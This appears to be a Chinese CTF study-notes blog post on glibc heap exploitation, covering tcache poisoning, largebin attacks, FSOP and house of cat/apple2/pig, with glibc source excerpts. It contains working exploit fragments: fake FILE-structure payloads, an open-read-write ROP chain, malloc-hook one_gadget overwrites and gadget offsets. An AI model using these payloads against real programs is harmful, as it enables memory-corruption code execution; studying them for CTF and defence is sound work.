说明:first chunk是指bin中链表头部的chunk,last chunk是指bin中链表尾部的chunk。fastbin是LIFO,其他bin是FIFO
以下皆为chunk的大小:
fastbin:0x20-0x80
smallbin:<=0x3f0
largebin:>=0x400
tcache:0x20-0x410
1. 泄露libcbase,heapbase
2. 打free_hook或IO_FILE
保护机制
不能使用tcache -> 通过largebin attack修改mp.tcache_bins -> free相应chunk(满足tcache->counts[tc_idx] > 0) -> 修改tcache的相应entries -> malloc(等同于打了tcache poison)
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']
delete(7)
add(0x80,'aaaa') #0
delete(8)
add(0x70,'aaaa') #1
add(0x90,p64(0)+p64(0x91)+p64(stdout)) #2
add(0x80,'aaaa') #3
#利用stdout泄露出stack_addr
add(0x80,p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)) #4
size = read(0, s, 0x400uLL);
if ( size <= 0 )
error("io");
s[size - 1] = 0;
if ( size <= 0x7F || size > 0x400 )
error("poor hero name");
*((_QWORD *)&chunklist + 2 * idx) = calloc(1uLL, size);
magic_gadget = libc_base + libc.sym['setcontext']+53
add rsp, 0x48 ; ret
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']
delete(7)
add(0x80,'aaaa') #0
delete(8)
add(0x70,'aaaa') #1
add(0x90,p64(0)+p64(0x91)+p64(stdout)) #2
add(0x80,'aaaa') #3
#利用stdout泄露出stack_addr
add(0x80,p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)) #4
createlarge(0x400*'1')
打法总述
笔者对于这些攻击手法感觉不是很难,难的地方在于堆风水
如果申请的chunk大小限制在0x30这种大小左右,很难布置IO链,这时候一般都是打栈溢出
如果申请的次数没有什么限制,就不需要打tcache_perthread,否则通过打tcache_perthread实现多次申请任意地址,任意地址申请受限制时总是容易忘记打这个结构
泄露栈地址也有两种方法,第一种时是把environ申请出来然后show,第二种是申请IO_2_1_stdout,然后通过stdout泄露出栈地址
参考博客
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]
.text:0000000000157BFA mov rbp, [rdi+48h]
.text:0000000000157BFE mov rax, [rbp+18h]
.text:0000000000157C02 lea r13, [rbp+10h]
.text:0000000000157C06 mov dword ptr [rbp+10h], 0
.text:0000000000157C0D mov rdi, r13
.text:0000000000157C10 call qword ptr [rax+28h]
此时还没有移除hook,仍然可以打各种hooks
在2.36以下还没有移除assert,2.36及以上就没有assert了
_IO_list_all、 _IO_2_1_stderr、 stderr
typedef int (*_IO_overflow_t) (FILE *, int);
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
int _IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
//调用 vtable中的 overflow指针
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
需要满足的条件
1. _IO_list_all写入一个可控堆地址
2. FAKE FILE+0x88(_IO_lock_t *_lock)的值=writable addr
3. FAKE FILE+0xc0(fp->_mode)的值=0
4. FAKE FILE+0x28的值>FAKE FILE+0x20的值(fp->_IO_write_ptr > fp->_IO_write_base)
因此fp->_lock要填入一个可写地址
# define _IO_flockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)
#define _IO_lock_lock(_name) __libc_lock_lock_recursive (_name)
#define __libc_lock_lock_recursive(NAME) \
({ \
__libc_lock_recursive_t *const __lock = &(NAME); \
void *__self = __libc_lock_owner_self (); \
if (__self != __lock->owner) \
{ \
lll_lock (__lock->lock, 0); \
__lock->owner = __self; \
} \
++__lock->cnt; \
(void)0; \
})
目前的理解用malloc_assert都是要修改stderr
只有house of kiwi用fflush (stderr)
其他的house系列都用__fxprintf
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
**这里有这样一条执行链 **malloc_assert-> **fxprintf->**vfxprintf->locked_vfxprintf->vfprintf_internal->_IO_file_xsputn,但要注意这个是stderr的vtable
int
__fxprintf (FILE *fp, const char *fmt, ...)
{
va_list ap;
va_start (ap, fmt);
int res = __vfxprintf (fp, fmt, ap, 0);
va_end (ap);
return res;
}
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (fp == NULL)
fp = stderr;
_IO_flockfile (fp);//在这个地方会有一个检查,我们需要回复lock字段的值
int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
_IO_funlockfile (fp);
return res;
}
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (_IO_fwide (fp, 0) <= 0)
return __vfprintf_internal (fp, fmt, ap, mode_flags);
}
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
...
经过一系列跳转到执行了IO_validate_vtable
}
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable; 调用vtable表中偏移0x38的位置
}
# define fflush(s) _IO_fflush (s)
int
_IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}
struct _IO_jump_t
{
0 JUMP_FIELD(size_t, __dummy);
0x8 JUMP_FIELD(size_t, __dummy2);
0x10 JUMP_FIELD(_IO_finish_t, __finish);
0x18 JUMP_FIELD(_IO_overflow_t, __overflow);
0x20 JUMP_FIELD(_IO_underflow_t, __underflow);
0x28 JUMP_FIELD(_IO_underflow_t, __uflow);
0x30 JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
0x38 JUMP_FIELD(_IO_xsputn_t, __xsputn);
0x40 JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
0x48 JUMP_FIELD(_IO_seekoff_t, __seekoff);
0x50 JUMP_FIELD(_IO_seekpos_t, __seekpos);
0x58 JUMP_FIELD(_IO_setbuf_t, __setbuf);
0x60 JUMP_FIELD(_IO_sync_t, __sync);
0x68 JUMP_FIELD(_IO_doallocate_t, __doallocate);
0x70 JUMP_FIELD(_IO_read_t, __read);
0x78 JUMP_FIELD(_IO_write_t, __write);
0x80 JUMP_FIELD(_IO_seek_t, __seek);
0x88 JUMP_FIELD(_IO_close_t, __close);
0x90 JUMP_FIELD(_IO_stat_t, __stat);
0x98 JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
0x100 JUMP_FIELD(_IO_imbue_t, __imbue);
};
extern const struct _IO_jump_t __io_vtables[] attribute_hidden;
#define _IO_str_jumps (__io_vtables[IO_STR_JUMPS])
#define _IO_wstr_jumps (__io_vtables[IO_WSTR_JUMPS])
#define _IO_file_jumps (__io_vtables[IO_FILE_JUMPS])
#define _IO_file_jumps_mmap (__io_vtables[IO_FILE_JUMPS_MMAP])
#define _IO_file_jumps_maybe_mmap (__io_vtables[IO_FILE_JUMPS_MAYBE_MMAP])
#define _IO_wfile_jumps (__io_vtables[IO_WFILE_JUMPS])
#define _IO_wfile_jumps_mmap (__io_vtables[IO_WFILE_JUMPS_MMAP])
#define _IO_wfile_jumps_maybe_mmap (__io_vtables[IO_WFILE_JUMPS_MAYBE_MMAP])
#define _IO_cookie_jumps (__io_vtables[IO_COOKIE_JUMPS])
#define _IO_proc_jumps (__io_vtables[IO_PROC_JUMPS])
#define _IO_mem_jumps (__io_vtables[IO_MEM_JUMPS])
#define _IO_wmem_jumps (__io_vtables[IO_WMEM_JUMPS])
#define _IO_printf_buffer_as_file_jumps (__io_vtables[IO_PRINTF_BUFFER_AS_FILE_JUMPS])
#define _IO_wprintf_buffer_as_file_jumps (__io_vtables[IO_WPRINTF_BUFFER_AS_FILE_JUMPS])
#define _IO_old_file_jumps (__io_vtables[IO_OLD_FILE_JUMPS])
#define _IO_old_proc_jumps (__io_vtables[IO_OLD_PROC_JUMPS])
#define _IO_old_cookie_jumps (__io_vtables[IO_OLD_COOKIED_JUMPS])
struct _IO_wide_data
{
0 wchar_t *_IO_read_ptr; /* Current read pointer */
0x8 wchar_t *_IO_read_end; /* End of get area. */
0x10 wchar_t *_IO_read_base; /* Start of putback+get area. */
0x18 wchar_t *_IO_write_base; /* Start of put area. */
0x20 wchar_t *_IO_write_ptr; /* Current put pointer. */
0x28 wchar_t *_IO_write_end; /* End of put area. */
0x30 wchar_t *_IO_buf_base; /* Start of reserve area. */
0x38 wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
0x40 wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
0x48 wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
0x50 wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
0xe0 const struct _IO_jump_t *_wide_vtable;
};
struct _IO_FILE
{
0 int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
0x8 char *_IO_read_ptr; /* Current read pointer */
0x10 char *_IO_read_end; /* End of get area. */
0x18 char *_IO_read_base; /* Start of putback+get area. */
0x20 char *_IO_write_base; /* Start of put area. */
0x28 char *_IO_write_ptr; /* Current put pointer. */
0x30 char *_IO_write_end; /* End of put area. */
0x38 char *_IO_buf_base; /* Start of reserve area. */
0x40 char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
0x48 char *_IO_save_base; /* Pointer to start of non-current get area. */
0x50 char *_IO_backup_base; /* Pointer to first valid character of backup area */
0x58 char *_IO_save_end; /* Pointer to end of non-current get area. */
0x60 struct _IO_marker *_markers;
0x68 struct _IO_FILE *_chain;
0x70 int _fileno;
0x78 int _flags2;
0x80 __off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
0x88 _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE_file;
#endif
0x90 __off64_t _offset;
/* Wide character stream stuff. */
0x98 struct _IO_codecvt *_codecvt;
0xa0 struct _IO_wide_data *_wide_data;
0xa8 struct _IO_FILE *_freeres_list;
0xb0 void *_freeres_buf;
0xb8 size_t __pad5;
0xc0 int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
0xd8 vtable;
};
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
#ifdef _IO_USE_OLD_IO_FILE
struct _IO_FILE_complete_plus
{
struct _IO_FILE_complete file;
const struct _IO_jump_t *vtable;
};
#endif
其实就是把IO_FILE给包装起来,然后加入了vtable,64位偏移为0xd8,这个偏移其实就是结构体里面偏移,因为前面是结构体struct IO_FILE
_IO_list_all,_IO_2_1stderr,stderr看情况写哪个
FROP打house of apple2,malloc_assert打house of cat
题目没有sandbox就最好不打orw
注意FROP还有个条件要满足
1. _IO_list_all写入一个可控堆地址
2. FAKE FILE+0x88(_IO_lock_t *_lock)的值=writable addr
3. FAKE FILE+0xc0(fp->_mode)的值=0
4. FAKE FILE+0x28的值>FAKE FILE+0x20的值(fp->_IO_write_ptr > fp->_IO_write_base)
b *&_IO_cleanup
b *&_IO_flush_all
b *&_IO_flush_all_lockp
b *&_IO_flush_all_lockp+223
b *&_IO_wfile_seekoff
b *&_IO_switch_to_wget_mode
一个小技巧:有时候题目给的libc是没有符号表的,难以调试,可以从glibc-all-in-one中找到有符号表的同样版本的libc,这样有符号表,pwndbg更好有断点进行调试
house系列的核心利用就是vtable是通过偏移调用函数
必须要有exit函数会执行_IO_flush_all_lockp函数来遍历 FILE结构体,才能使用house of pig这条链
注意house of pig都需要libc2.34以下,要有hook打才行
相比于house of pig,这个方法可以使用orw来绕过沙盒,同样需要有exit函数才行
无需exit()函数也可以进行!!!
条件:
使用方法:
house of cat在_IO_switch_to_wget_mode可以设置rdx,随后调用setcontent+61可以直接进行orw,不用magic gadget
但是house of cat需要控制rcx不为0,在malloc_assert的时候可以满足,dbg时发现FSOP不能满足,此时建议打apple2
house of cat在elf文件中stderr会先用elf文件中的而不是libc中的stderr
可以打IO_2_1_stderr
对应设置如下
fp的vtable覆盖为_IO_wxxx_jumps(加减偏移),执行_IO_wfile_overflow,绕过里面一个个函数调用链,最后根据偏移执行_wide_vtable里面的函数,利用magic gadget执行orw拿到flag
在打FSOP的时候打apple2最好
_IO_wfile_overflow
对fp的设置如下:
函数的调用链如下:
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
.text:0000000000160E56 mov rdx, [rax+38h]
.text:0000000000160E5A mov rdi, rax
.text:0000000000160E5D call qword ptr [rdx+20h]
.text:00000000001630AA mov rbp, [rdi+48h]
.text:00000000001630AE mov rax, [rbp+18h]
.text:00000000001630B2 lea r13, [rbp+10h]
.text:00000000001630B6 mov dword ptr [rbp+10h], 0
.text:00000000001630BD mov rdi, r13
.text:00000000001630C0 call qword ptr [rax+28h]
ROPgadget --binary libc.so.6 | grep 'mov rdi, r13'
0x00000000001587b3 : mov rdi, r13 ; call qword ptr [rax + 0x10]
0x000000000008975f : mov rdi, r13 ; call qword ptr [rax + 0x18]
0x000000000015760c : mov rdi, r13 ; call qword ptr [rax + 0x20]
0x00000000001630bd : mov rdi, r13 ; call qword ptr [rax + 0x28]
参考博客
libc2.35 3.6 0x16A06A
libc2.35 3_ 在上述偏移上下找就行
gadget=licbase+0x16A1FA
magic_gadget = libc_base + libc.sym["svcudp_reply"] + 0x1a
0x7ffff7f092ba <svcudp_reply+26> mov rbp, qword ptr [rdi + 0x48]
0x7ffff7f092be <svcudp_reply+30> mov rax, qword ptr [rbp + 0x18]
0x7ffff7f092c2 <svcudp_reply+34> lea r13, [rbp + 0x10]
0x7ffff7f092c6 <svcudp_reply+38> mov dword ptr [rbp + 0x10], 0
0x7ffff7f092cd <svcudp_reply+45> mov rdi, r13
0x7ffff7f092d0 <svcudp_reply+48> call qword ptr [rax + 0x28]
fake_IO_addr =
magic_gadget = libc_base + libc.sym["svcudp_reply"] + 0x1a
leave_ret = libc_base + 0x0000000000052d72 #: leave ; ret
pop_rdi_ret = libc_base + 0x000000000002daa2 #: pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000037c0a #: pop rsi ; ret
pop_rdx_r12_ret = libc_base + 0x00000000001066e1 #: pop rdx ; pop r12 ; ret
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70
#read(0, (void *)ptr[num], 0xAA0uLL)直接向_IO_2_1_stderr_写入数据,同时伪造A,B,C三个fake file
orw_rop = b'./flag\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(rop_address)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(libc_base + libc.sym['open'])
orw_rop += p64(pop_rdi_ret) + p64(3)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libc_base + libc.sym['read'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libc_base + libc.sym['write'])
payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足assert和fsop
payload = payload.ljust(0x38, b'\x00') + p64(rop_address) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libc_base + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop
libc2.34,在libc2.35就没了这个gadget
gadget_addr = libc_base + 0x146020 各个libc相差一般也不会太远,就在附近找就行
可以设置rdx的值然后setcontent+61来进行orw
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]
edit(0x10,p64(libc.sym['__malloc_hook']-0x23))
add(0x68,b"A"*8)
add(0x68,b"\x00"*0x13 + p64(one_gadget))
# __malloc_hook -> realloc+8
# __realloc_hook -> one_gadget
realloc = libc_base + libc.sym['realloc']
one_gadget = [0x4527a, 0xf03a4, 0xf1247]
add(4, 0x68, b'p' * 11 + p64(libc_base + one_gadget[0]) + p64(realloc + 8))
可以看到很多地方都存的有_IO_2_1stderr,但是IO攻击中实际要修改的是elf文件的bss段的stderr,如果elf文件的bss段没有stderr,此时修改libc的.data区域才有用
遇到puts或printf,就会将_IO_write_base指向的内容打印出来。实际操作中发现如果是write函数还不行
这里给出爆破的模板
while True:
try:
p=process(file)
exp()
break
except:
p.close()
continue
覆盖一字节泄露libcbase
13 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!